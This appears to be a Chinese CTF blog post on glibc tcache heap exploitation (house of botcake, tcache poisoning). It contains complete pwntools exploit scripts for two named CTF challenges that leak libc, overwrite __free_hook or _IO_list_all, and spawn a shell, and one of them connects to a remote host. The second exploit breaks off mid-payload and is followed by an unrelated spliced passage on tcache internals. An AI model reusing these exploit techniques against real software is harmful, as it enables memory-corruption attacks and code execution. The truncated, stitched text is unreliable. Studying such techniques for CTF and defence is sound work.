总结堆攻击tcache

house of botcake
可以看看这篇文章
house of botcake一般都会配合tcache poison一起打

打tcache poison时如果限制了malloc的chunk的大小,可以多次分割unsorted bin进行覆写

一定要有uaf,只要chunklist不被清空就可以,有mark影响不大

add(14,0x70,‘a’)
payload=p64(0)+p64(0x91)+p64(__free_hook)
add(11,0x20,payload)
代码
for i in range(7):
add(i,0x80,‘a’)

#主要用7,8进行操作
add(7,0x80,‘a’)
add(8,0x80,‘a’)
add(9,0x20,‘b’)

for i in range(7):
delete(i)

delete(8)
show(8)
libc_base=u64(p.recvuntil(‘\x7f’)[-6:].ljust(8,‘\x00’))-0x1ecbe0
__free_hook=libc_base+libc.sym[“__free_hook”]
system_addr=libc_base+libc.sym[“system”]
leak("libc_base ",libc_base)

#此时会进行unlink 8,让7,8一起进入unsorted bin
delete(7)
#给8腾出一个位置,不然会触发double free or corruption (!prev)
add(10,0x80,‘a’)
#8既在unsorted bin中,又在tcache中
delete(8)
#打tcache poison
payload=‘a’*0x80+p64(0)+p64(0x91)+p64(__free_hook)
add(11,0xa0,payload)

add(12,0x80,‘/bin/sh\x00’)
add(13,0x80,p64(system_addr))
delete(12)
核心
构造出一个chunk既在unsorted bin中,又在tcache中的chunk,我们通过unsorted bin修改这个chunk的next值为free_hook,在tcache中结构就为:chunk->free_hook再malloc就可以了

特点:同一堆块第一次 free 进 unsorted bin 避免了 key 的产生,第二次 free 进入 tcache,让高版本的 tcache double free 再次成为可能

利用方法:

通常的利用思路就是,填充完 tcache bin 链表后,然后把一个chunkA free到 unsorted bin 中,然后把这一个chunkA 的prev chunk,chunkB free掉,这样A、B就会合并,unsorted bin中的fd指针就从指向chunk A到指向chunk B
之后我们先申请一个chunk 在tcache bin中给chunk A 留下空间,利用 house of hotcake 的原理再free chunkA, 这时候chunk A 已经double free 了(既在unsorted bin中又在tcache中),然后我们可以在unsoreted bin中申请一个比较大的空间,通过chunkB、chunkA 的相邻来改变chunkA 的fd指针,让其指向free_hook
此时tcache结构为:chunk A->free_hook(原本的链断了),申请两次chunk打free_hook
例题 libc2.31 beginctf2024 zeheap
1.注意到题目中delete没有做什么检查,可以uaf让多个指针指向同一个chunk,最后打house of botcake
2.show的时候会检查mark,但是很好绕过,就是让list[i]不同的i指向同一个chunk即可

from pwn import *
from pwnlib.util.packing import p64
from pwnlib.util.packing import u64
context(os=‘linux’, arch=‘amd64’, log_level=‘debug’)
file = “/home/zp9080/PWN/zeheap”
libc=ELF(“/home/zp9080/PWN/libc-2.31.so”)
elf=ELF(file)
sh=process(file)

sh=gdb.debug(file,‘b *$rebase(0x193F )’)

def create(idx):
sh.sendlineafter(“choose:\n”,b’1’)
sh.sendlineafter(“num:\n”,str(idx))

def edit(idx,content):
sh.sendlineafter(“choose:\n”,b’2’)
sh.sendlineafter(“num:\n”,str(idx))
sh.sendafter(“read:\n”,content)

def show(idx):
sh.sendlineafter(“choose:\n”,b’3’)
sh.sendlineafter(“num:\n”,str(idx))

def delete(idx):
sh.sendlineafter(“choose:\n”,b’4’)
sh.sendlineafter(“num:\n”,str(idx))
#一般都习惯于找一个以后都不用的chunk写入/bin/sh
create(15)
edit(15,b’/bin/sh\x00’)

for i in range(7):
create(i)

create(7)
create(8)
#防止与top chunk合并
create(9)

for i in range(7):
delete(i)

#7和8一起在unsorted bin中
delete(7)
delete(8)

#给8腾出一个tcache位置
create(0)
#double free tcache:8->…
delete(8)
#8和10指向同一个chunk
create(10)

#清空tcache
for i in range(1,7):
create(i)
#清楚到unsorted bin中只剩8,8和10指向同一个chunk
create(11)
show(10)
main_arena_offset = libc.sym[“__malloc_hook”] + 0x10
libcbase=u64(sh.recvuntil(‘\x7f’)[-6:].ljust(8,b’\x00’))-main_arena_offset-96
__free_hook=libcbase+libc.sym[“__free_hook”]
system_addr=libcbase+libc.sym[“system”]
print(‘libcbase:’,hex(libcbase))

#81012
create(12)

#tcache 10->0
delete(0)
delete(10)
#tcache 10->__free_hook
edit(12,p64(__free_hook))

create(13)
create(14)
edit(14,p64(system_addr))
delete(15)
sh.interactive()
例题libc2.35 XYCTF2024 ptmalloc2 it’s myheap
1.题目上来就给了个libc,但其实不给也能泄露libc
2.发现没有edit,只能在add的时候进行read,而且没有off-by-null,认为只能打tcache不能打largebin了,而且是打house of botcake,因为无法edit tcache_key
3.发现有uaf但是有mark这个标记,而且是malloc(0x18)后再malloc(size)
4.mark的存在让double free变得困难,但是要注意mark也是在堆上的,意味着可以再申请回来改写,这样就可以double free
5.更具体遇到的问题见exp

from pwn import *
from pwnlib.util.packing import u64
from pwnlib.util.packing import p64
from pwnlib.util.packing import p32
context(os=‘linux’, arch=‘amd64’, log_level=‘debug’)

p=process(‘/home/zp9080/PWN/pwn’)

elf=ELF(‘/home/zp9080/PWN/pwn’)
p=remote(‘10.128.144.30’,51655)
#51655

libc=elf.libc
def dbg():
gdb.attach(p,‘b *0x401773’)
pause()

def add(idx,size,content):
p.sendlineafter(">>> ",str(1))
p.sendlineafter("chunk_idx: ",str(idx))
p.sendlineafter("chunk size: ",str(size))
p.sendafter("chunk data: “,content)
def delete(idx):
p.sendlineafter(”>>> ",str(2))
p.sendlineafter("chunk id: “,str(idx))
def show(idx):
p.sendlineafter(”>>> ",str(3))
p.sendlineafter("chunk id: ",str(idx))

p.sendlineafter(">>> ",str(114514))
p.recvuntil("this is a gift: ")
libcbase=int(p.recv(14), 16)-libc.sym[‘puts’]
print(hex(libcbase))
#利用largebin泄露heapbase
add(0,0x410,b’a’)
add(15,0x20,b’a’)
delete(0)
add(1,0x500,b’a’)
delete(1)
add(0,0x410,b’a’)
show(0)
p.recv(16)
heapbase=u64(p.recv(8)) -0x2b0
print(hex(heapbase))
#-------------------此时bin是空的---------------------

#------------------house of botcake--------------
for i in range(7):
add(i,0x80,‘a’)
#主要用7,8进行操作
add(7,0x80,‘a’)
add(8,0x80,‘a’)
add(9,0x18,‘a’)
for i in range(7):
delete(i)

delete(8)

#注意此时堆的情况,0x20大小的chunk在tcache和fastbin中都有
#一直因为mark导致不能double free,但是通过以下方式mark可以修改8的mark=1
add(15,0x18,b’a’)
add(14,0x18,b’a’)
add(13,0x18,b’a’)
add(12,0x18,p64(0x80)+p64(1)+p64(heapbase+0xcd0))
delete(15)
delete(14)
delete(13)
delete(12)

#实际操作中发现8的0x20大小的chunk总成为barrier导致无法unlink
#触发malloc consolidate,让8的0x20的chunk合并到smallbin中为了正常触发unlink
add(15,0x500,b’a’)
#此时会进行unlink 8,让7,8一起进入unsorted bin
delete(7)

#给8腾出一个位置,不然会触发double free or corruption (!prev)
#----------这个地方卡了好久,如果不留位置,8的chunk大小为0x90,又回到unsorted bin中,会触发上述报错----------------
add(10,0x80,‘a’)
#注意8的大小为0x20+0x90=0xb0,8既在unsorted bin中,又在tcache中
delete(8)

#打tcache poison,然后打apple2
io_list_all=libcbase+libc.sym[‘_IO_list_all’]
payload=b’a’*0xa0+p64(0)+p64(0x91)+p64(io_list_all ^ ((heapbase+0xcc0)>>12) )

add(11,0xc0,payload)
add(0,0x80,b’a’)
add(1,0x80,p64(heapbase+0x12b0)) #mem

system_addr=libcbase+libc.sym[‘system’]
ioaddr=heapbase+0x12b0
payload = b’ sh;\x00\x00\x00’+p64(0)+p64(0)*2 + p64(1) + p64(2) #这样设置同时满足fsop
payload = payload.ljust(0xa0, b’\x00’) + p64(ioaddr + 0xe0) #_wide_data=fake_IO_addr + 0xe0
payload = payload.ljust(0xd8, b’\x00’) + p64(libcbase + libc.sym[‘_IO_wfile_jumps’]) #vtable=_IO_wfile_jumps
payload = payload.ljust(0xe0 + 0xe0, b’\x00’)+p64

Tcache 是 glibc 2.26 版本引入的一种线程缓存机制,用于提高内存分配和释放的性能。 ### Tcache 结构 Tcache 结构包含 `tcache_entry` 和 `tcache_perthread_struct` 两部分。`tcache_entry` 用于存储每个缓存块的信息,包含指向下一个缓存块的指针 `next` 和用于检测双重释放的 `key` 字段。`tcache_perthread_struct` 是每个线程的缓存结构,包含一个数组 `counts` 用于记录每个大小类别的缓存块数量,以及一个数组 `entries` 用于存储每个大小类别的缓存块链表头指针。`TCACHE_MAX_BINS` 定义为 64,即最多有 64 个不同大小类别的缓存块链表。以下是相关代码定义: ```c /* We overlay this structure on the user-data portion of a chunk when the chunk is stored in the per-thread cache. */ # define TCACHE_MAX_BINS 64 typedef struct tcache_entry { struct tcache_entry *next; /* This field exists to detect double frees. */ struct tcache_perthread_struct *key; } tcache_entry; /* There is one of these for each thread, which contains the per-thread cache (hence "tcache_perthread_struct"). Keeping overall size low is mildly important. Note that COUNTS and ENTRIES are redundant (we could have just counted the linked list each time), this is for performance reasons. */ typedef struct tcache_perthread_struct { char counts[TCACHE_MAX_BINS]; tcache_entry *entries[TCACHE_MAX_BINS]; } tcache_perthread_struct; static __thread tcache_perthread_struct *tcache = NULL; ``` ### Tcache 利用方法 有两种常见的 Tcache 利用方法,即 tcache dup 和 tcache house of spirit,这两种方法通常使用 how2heap 中的例题进行讲解 [^1]。 ### Tcache 内存申请与释放 #### 申请内存 申请内存时,首先会检查 tcache list 中是否有可用的内存块。若 `tc_idx` 小于 `mp_.tcache_bins`,且 tcache 不为空,同时 `tcache->entries[tc_idx]` 不为空,则调用 `tcache_get` 函数从 tcache list 中获取内存块。代码如下: ```c // 从 tcache list 中获取内存 if (tc_idx < mp_.tcache_bins && tcache && tcache->entries[tc_idx] != NULL) { return tcache_get (tc_idx); } ``` #### 释放内存 `tcache_put` 函数用于将内存块放入 tcache 中。该函数首先将内存块转换为 `tcache_entry` 类型的指针 `e`,然后将 `e` 的 `key` 字段设置为 tcache,将 `e` 的 `next` 字段指向 `tcache->entries[tc_idx]`,并更新 `tcache->entries[tc_idx]` 为 `e`,最后增加 `tcache->counts[tc_idx]` 的值。代码如下: ```c static __always_inline void tcache_put (mchunkptr chunk, size_t tc_idx) { // e = chunk + 0x10 tcache_entry *e = (tcache_entry *) chunk2mem (chunk); assert (tc_idx < TCACHE_MAX_BINS); /* Mark this chunk as "in the tcache" so the test in _int_free will detect a double free. */ e->key = tcache; e->next = tcache->entries[tc_idx]; tcache->entries[tc_idx] = e; ++(tcache->counts[tc_idx]); } ```
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值